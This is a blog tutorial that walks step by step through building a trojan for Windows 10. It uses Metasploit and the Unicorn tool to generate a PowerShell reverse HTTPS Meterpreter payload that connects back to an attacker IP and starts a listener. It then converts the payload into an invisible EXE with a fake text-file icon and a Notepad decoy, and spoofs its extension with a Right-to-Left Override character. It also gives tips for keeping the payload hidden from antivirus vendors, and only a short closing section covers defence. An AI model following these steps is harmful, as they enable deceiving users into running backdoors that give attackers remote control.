Undetectable Payload

Hackers are always seeking zero-day exploits that can successfully bypass Windows 10’s security features. There has been extensive research into creating undetectable malware and entire GitHub projects dedicated to automating the creation of undetectable payloads such as WinPayloadsVeil v3, and TheFatRat.

With a bit of social engineering, tricking a target user into opening a malicious file can be as simple as injecting a bit of Unicode into the file name. For example, the below GIF shows a Windows executable (EXE) disguised to appear as a normal text file (TXT) — even with “Hide extensions for known file types” disabled in the File Explorer Options.

Make no mistake, the file on the right is an executable and, more importantly, recognized by the Windows operating system as an executable. When the fake text file is clicked, it opens a new document using Notepad, the default text editor in Windows 10. After opening Notepad, it silently executes an embedded PowerShell payload (made with Unicorn) which creates a backdoor to the now compromised Windows computer.

Unicorn, created by TrustedSec, is a simple tool designed to assist penetration tester’s with PowerShell downgrade attacks and injecting sophisticated shellcode payloads straight into memory. The techniques utilized by Unicorn are based on the work of Matthew Graeber and TrustedSec founder David Kennedy.

1. Install Metasploit Framework

Metasploit is a dependency of Unicorn. Before installing Unicorn, I’ll quickly guide readers through a Metasploit installation to ensure it’s entirely up to date using the GitHub repository.

Kali does an excellent job of maintaining stable versions of Metasploit, but I’ll show how to install the absolute latest version. First, remove any older versions of Metasploit that may be pre-installed in Kali.

apt-get remove metasploit-framework

Then, use cURL to download the Metasploit installer.

curl > msfinstall

Upgrade the newly created msfinstall file permissions to ensure it will execute in Kali.

chmod 755 msfinstall

Then, execute the installer script with ./msfinstall.


Adding metasploit-framework to your repository list..OK
Updating package cache..OK
Checking for and installing update..
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
0 upgraded, 1 newly installed, 0 to remove and 124 not upgraded.
Need to get 161 MB of archives.
After this operation, 377 MB of additional disk space will be used.
Get:1 lucid/main amd64 metasploit-framework amd64 4.16.57+20180529103642.git.4.6219ce0~1rapid7-1 [161 MB]
Get:1 lucid/main amd64 metasploit-framework amd64 4.16.57+20180529103642.git.4.6219ce0~1rapid7-1 [161 MB]
Fetched 65.7 MB in 11min 39s (93.9 kB/s)
Selecting previously unselected package metasploit-framework.
(Reading database ... 145965 files and directories currently installed.)
Preparing to unpack .../metasploit-framework_4.16.57+20180529103642.git.4.6219ce0~1rapid7-1_amd64.deb ...
Unpacking metasploit-framework (4.16.57+20180529103642.git.4.6219ce0~1rapid7-1) ...
Setting up metasploit-framework (4.16.57+20180529103642.git.4.6219ce0~1rapid7-1) ...
update-alternatives: using /opt/metasploit-framework/bin/msfbinscan to provide /usr/bin/msfbinscan (msfbinscan) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/msfconsole to provide /usr/bin/msfconsole (msfconsole) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/msfd to provide /usr/bin/msfd (msfd) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/msfdb to provide /usr/bin/msfdb (msfdb) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/msfelfscan to provide /usr/bin/msfelfscan (msfelfscan) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/msfmachscan to provide /usr/bin/msfmachscan (msfmachscan) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/msfpescan to provide /usr/bin/msfpescan (msfpescan) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/msfrop to provide /usr/bin/msfrop (msfrop) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/msfrpc to provide /usr/bin/msfrpc (msfrpc) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/msfrpcd to provide /usr/bin/msfrpcd (msfrpcd) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/msfupdate to provide /usr/bin/msfupdate (msfupdate) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/msfvenom to provide /usr/bin/msfvenom (msfvenom) in auto mode
update-alternatives: using /opt/metasploit-framework/bin/metasploit-aggregator to provide /usr/bin/metasploit-aggregator (metasploit-aggregator) in auto mode
Run msfconsole to get started
W: --force-yes is deprecated, use one of the options starting with --allow instead.

When the installer is completed, there will be a new metasploit-framework/ directory in the /opt directory.

2. Install Unicorn

With the Metasploit installation taken care of, the Unicorn GitHub repository can be cloned using git clone

git clone

Cloning into 'unicorn'...
remote: Counting objects: 340, done.
remote: Total 340 (delta 0), reused 0 (delta 0), pack-reused 340
Receiving objects: 100% (340/340), 163.94 KiB | 45.00 KiB/s, done.
Resolving deltas: 100% (215/215), done.

Then, change into the new Unicorn directory using the cd command.

cd unicorn/

To view the available Unicorn options and comprehensive descriptions of each attack, use the ./ –help argument.

./ --help

-------------------- Magic Unicorn Attack Vector v3.1 -----------------------------

Native x86 powershell injection attacks on any Windows platform.
Written by: Dave Kennedy at TrustedSec (
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates

Happy Magic Unicorns.

Usage: python payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python windows/meterpreter/reverse_https 443
PS Down/Exec: python windows/download_exec url=
Macro Example: python windows/meterpreter/reverse_https 443 macro
Macro Example CS: python <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python <path_to_shellcode.txt> shellcode macro
HTA Example: python windows/meterpreter/reverse_https 443 hta
HTA Example CS: python <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python <path_to_shellcode.txt>: shellcode hta
DDE Example: python windows/meterpreter/reverse_https 443 dde
CRT Example: python <path_to_payload/exe_encode> crt
Custom PS1 Example: python <path to ps1 file>
Custom PS1 Example: python <path to ps1 file> macro 500
Cobalt Strike Example: python <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python --help

There are several interesting and effective Unicorn options. In this article, I’ll be focusing on the PowerShell and Meterpreter solution.

3. Generate the Payload

To create a payload with Unicorn, use the below command.

./ windows/meterpreter/reverse_https <ATTACKER-IP-ADDRESS> <PORT>

Unicorn will use the Metasploit reverse_https module to connect to the attackers IP address using the specified port.

[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...

                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:


Written by: Dave Kennedy at TrustedSec (
Twitter: @TrustedSec, @HackingDave

Happy Magic Unicorns.



Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains  all of the code needed in order to inject the powershell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word  doc or through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and  scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the powershell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python windows/download_exec url= and the powershell code will download the payload and execute.

Note that you will need to have a listener enabled in order to capture the attack.


[*] Exported powershell output code to powershell_attack.txt.
[*] Exported Metasploit RC file as unicorn.rc. Run msfconsole -r unicorn.rc to execute and create listener.

When Unicorn is done generating the payload, two new files will be created. The first is powershell_attack.txt which can be viewed using the cat powershell_attack.txt command. This reveals the PowerShell code that will execute on the target Windows 10 machine and create the meterpreter connection.

cat powershell_attack.txt


The other file created by Unicorn is unicorn.rc, a resource file which will automate the msfconsole setup and configuration.

4. Start Msfconsole Using the Resource File

To start Metasploit, run the msfconsole -r /opt/unicorn/unicorn.rc command.

msfconsole -r /opt/unicorn/unicorn.rc

       =[ metasploit v4.16.59-dev-                        ]
+ -- --=[ 1769 exploits - 1008 auxiliary - 307 post       ]
+ -- --=[ 537 payloads - 41 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: ]

[*] Processing /opt/unicorn/unicorn.rc for ERB directives.
resource (/opt/unicorn/unicorn.rc)> use multi/handler
resource (/opt/unicorn/unicorn.rc)> set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
resource (/opt/unicorn/unicorn.rc)> set LHOST
resource (/opt/unicorn/unicorn.rc)> set LPORT 443
LPORT => 443
resource (/opt/unicorn/unicorn.rc)> set ExitOnSession false
ExitOnSession => false
resource (/opt/unicorn/unicorn.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (/opt/unicorn/unicorn.rc)> exploit -j
[*] Exploit running as background job 0.

[-] Handler failed to bind to
msf exploit(multi/handler) > [*] Started HTTPS reverse handler on

The resource file will automatically enable the handler (multi/handler), set the payload type (windows/meterpreter/reverse_https), set the attacker’s IP address (LHOST), set the port number (LPORT), enable stager encoding (EnableStageEncoding), and start the msfconsole listener (exploit -j) — easy.

At this point, everything on the attacker’s side is set up and ready for incoming connections. Now it’s just a matter of verifying the payload works and effectively bypasses Windows Defender and antivirus software.

5. Test the Payload (Don’t Upload It to VirusTotal)

In my tests, Unicorn’s PowerShell payload was able to bypass Google Chrome, Windows Defender, and Avast antivirus detections in a fully patched Windows 10 Enterprise machine.

Many projects warn penetration testers of the dangers of using online virus scanners like VirusTotal. In the case of TheFatRat, the developer’s explicitly caution against using VirusTotal every time the program starts.

As someone who regularly experiments with many antivirus evasion software, I completely understand the temptation to know if the created payload will evade detection of the most popular antivirus software technologies. However, uploading to online virus scanners is extremely damaging to these projects. VirusTotal shares uploaded payloads with third-parties and, as a result, their collective detection rates dramatically increase over a short period of time.

As an alternative to online scanners, I encourage pentester’s to simulate their target’s operating system environment using virtual machines. For example, if it’s discovered that a target on the local network is using Windows 10 with AVG or Avast, create a Windows 10 VM, install the latest antivirus software in the VM, and test payloads inside the VM. This will give pentester’s some reassurance that a payload is working properly and prevent VirusTotal from over-analyzing the malicious file and sharing its results with other companies.

Continue to Concealing the Payload …

That’s it for installing Metasploit, creating the PowerShell payload with Unicorn, and automating the msfconsole startup. Unicorn is a great tool which takes the difficulty out of creating sophisticated PowerShell payloads capable of bypassing popular antivirus software.

How to convert the PowerShell code into an executable

Once PowerShell payload to evade antivirus software has been created and set up msfconsole on their attack system, they can then move onto disguising their executable to make it appear as a regular text file. This is how they will get a Windows 10 users to actually open the payload without knowing they are doing so.

The PowerShell payload generated by Unicorn works as expected when used against the target Windows 10 machine. It creates a reverse HTTPS connection back to the attacker’s Kali setup while actively evading Windows Defender and Avast antivirus detections. This is all great, but the real challenge is tricking the target Windows user into executing the code on their computer.

To accomplish this, a few things can be done to the PowerShell payload before sending it to the victim. The payload needs to be converted into a Windows executable (EXE). The icon (ICO file) will need to be changed as well to look like an ordinary text file. The biggest red flag that the fake text file is actually an executable is the file extension. Some Windows users disable the “Hide extensions for known file types” option to protect against file extension spoofing attacks. In this article, I’ll show how to spoof the file extensions — even with file extensions unhidden.

For readers who might’ve skipped the first part of this article, here’s the GIF again showing the real and fake text files side by side:

The file on the left is a real text file. The file on the right is the PowerShell payload, designed to first open Notepad before executing the PowerShell payload.

1. Save the PowerShell Payload

The following steps require a Windows operating system. I recommend using a Windows 10 virtual machine (VM) in VirtualBox.

Before going further, the previously created PowerShell payload should be moved to the Windows system and saved as payload.bat using Notepad or a preferred text editor. The payload.bat will be manipulated to appear as a normal text file in proceeding steps.

2. Download the Windows 10 Icons

Windows 10 icons will need to be downloaded to begin transforming the payload.bat into a fake text file. These icons will be used to spoof the file icon. You can download the Windows 10 icons using git clone ‘’.

~$ git clone ''

Cloning into 'Windows-10-Icons'...
remote: Counting objects: 3495, done.
remote: Total 3495 (delta 0), reused 0 (delta 0), pack-reused 3495
Receiving objects: 100% (3495/3495), 14.69 MiB | 294.00 KiB/s, done.
Resolving deltas: 100% (393/393), done.
Checking connectivity... done.

This repository may not contain exact replicas of the built-in Windows 10 icons but appear close enough and will serve nicely for the purposes of this article. If readers are capable of designing icons or locating better icons online, I encourage the usage of those.

I’m using text-x-generic.png located in the Windows-10-Icons/256×256/mimetypes/ directory, but any PNG will work to continue following along.

Step 3Convert the PNG to ICO Format

The PNG will need to be converted into the Windows ICO icon format. This can be done using online tools such as ConvertICO. Simply upload the desired PNG to the website and it will reproduce it in ICO format. Save the new ICO with the file name fakeTextFile.ico.

4. Install BAT2EXE

I’ve featured BAT2EXE (B2E) as mentioned before. This is a great tool for converting BAT files to Windows executables.

To download B2E, the website requires users mine cryptocurrency for several minutes in exchange for downloading their free software. If readers wish to support the B2E developer’s, proceed to the download page and grab the latest B2E software. Otherwise, readers can use mirror of a slightly older version of B2E.

Using my GitHub mirror, in Windows, visit the below URL to download B2E.

Unzip the download and run the “Bat_To_Exe_Converter_(Installer).exe” file to install it.

5. Import the Payload BAT

When that’s done, start B2E and click the “Open” button to import the payload.bat created earlier.

6. Trojanize the Payload

Then, add the word “notepad” to the top of the payload.bat, and click “Save.” This will make the executable open Notepad on the Windows machine before executing the PowerShell payload. Doing this will make the target user believe the file they just clicked on is indeed a legitimate text file.

Now, there’s a lot that can be done to further convince someone the file is legit. For example, if Notepad isn’t their default text editor, it might seem suspicious that this one file opens Notepad when other text files open Notepad++, a popular third-party text editor. So improving the BAT to open a default program, instead of Notepad, might be desirable. Also, opening a blank Notepad when the file is reported as being 12 KB in size might also be suspicious, so finding a way to produce text or Trojanize the EXE to first download an actual text file might help improve the effectiveness of such attacks.

For sake of simplicity, I’ll continue as is, with the BAT opening a blank Notepad. This will hopefully demonstrate how easy it is to create trojans and get readers on the right track to developing this attack to meet their individual needs.

7. Convert & Export the Payload

With that done, check the “Icon” option to enable it, and import the fakeTextFile.ico icon created in the previous step using the “…” button. Then, change the Exe-Format to “64-bit Windows | (Invisible)” to prevent any terminals from popping up when the target user opens the file.

Click the “Convert” button to create the EXE, and save the filename as fake.exe.

After saving the fake.exe to the desktop and placing it beside a real text file, readers may notice a thin red line in the fake icon that doesn’t exist in the real text file icon. This can be easily fixed by using a better Windows 10 icon set or by using a different type of file to spoof.

8. Spoof the File Extension with Unicode

The bigger issue is the file extension. Thanks to the “Hide extensions for known file types” option in the File Explorer Options, file extensions are not being hidden by the Windows operating system. To get around this, use a Unicode character called “Right-to-Left Override” (RLO) to reverse the order of which the characters are displayed in the filename. That’s important to understand since the characters aren’t actually being reversed, how Windows displays the characters is being reversed. Windows will still recognize the file extension as EXE.

As seen in the above GIF, the invisible RLO character is being injected between the file name (“fake”) and the fake file extension (“txt”). All the RLO character is doing here is flipping the order the characters in the file name are displayed. Unfortunately, the “exe” must remain in the spoofed filename.

How to Protect Against File Extension Spoofing Attacks

Since our whole objective here was to create an undetectable payload, antivirus software is not really a good option for protecting against these types of file extension spoofing attacks.

One thing you can do is just put on your magnifying glass when looking at files you download off the internet. In our case above, you won’t be able to tell at first glance that the icon is not the same as other text files, but at closer examination, you’ll see that something is fishy.

If you’re suspicious of a file or its source, try renaming it. Be careful not to double-click on it. Instead, right-click the file and choose the “Rename” option from the context menu. If Unicode is being used, renaming the file using characters found on standard keyboards will remove the Unicode, revealing its true extension.

What do you think?

25 Points
Upvote Downvote
Black Hat Professional

Written by Admin

NewbieAvatar uploadFirst contentFirst commentPublishing content 3 times


Leave a Reply



DuckDuckGo Bangs

Eye of Omniscience – Quasar RAT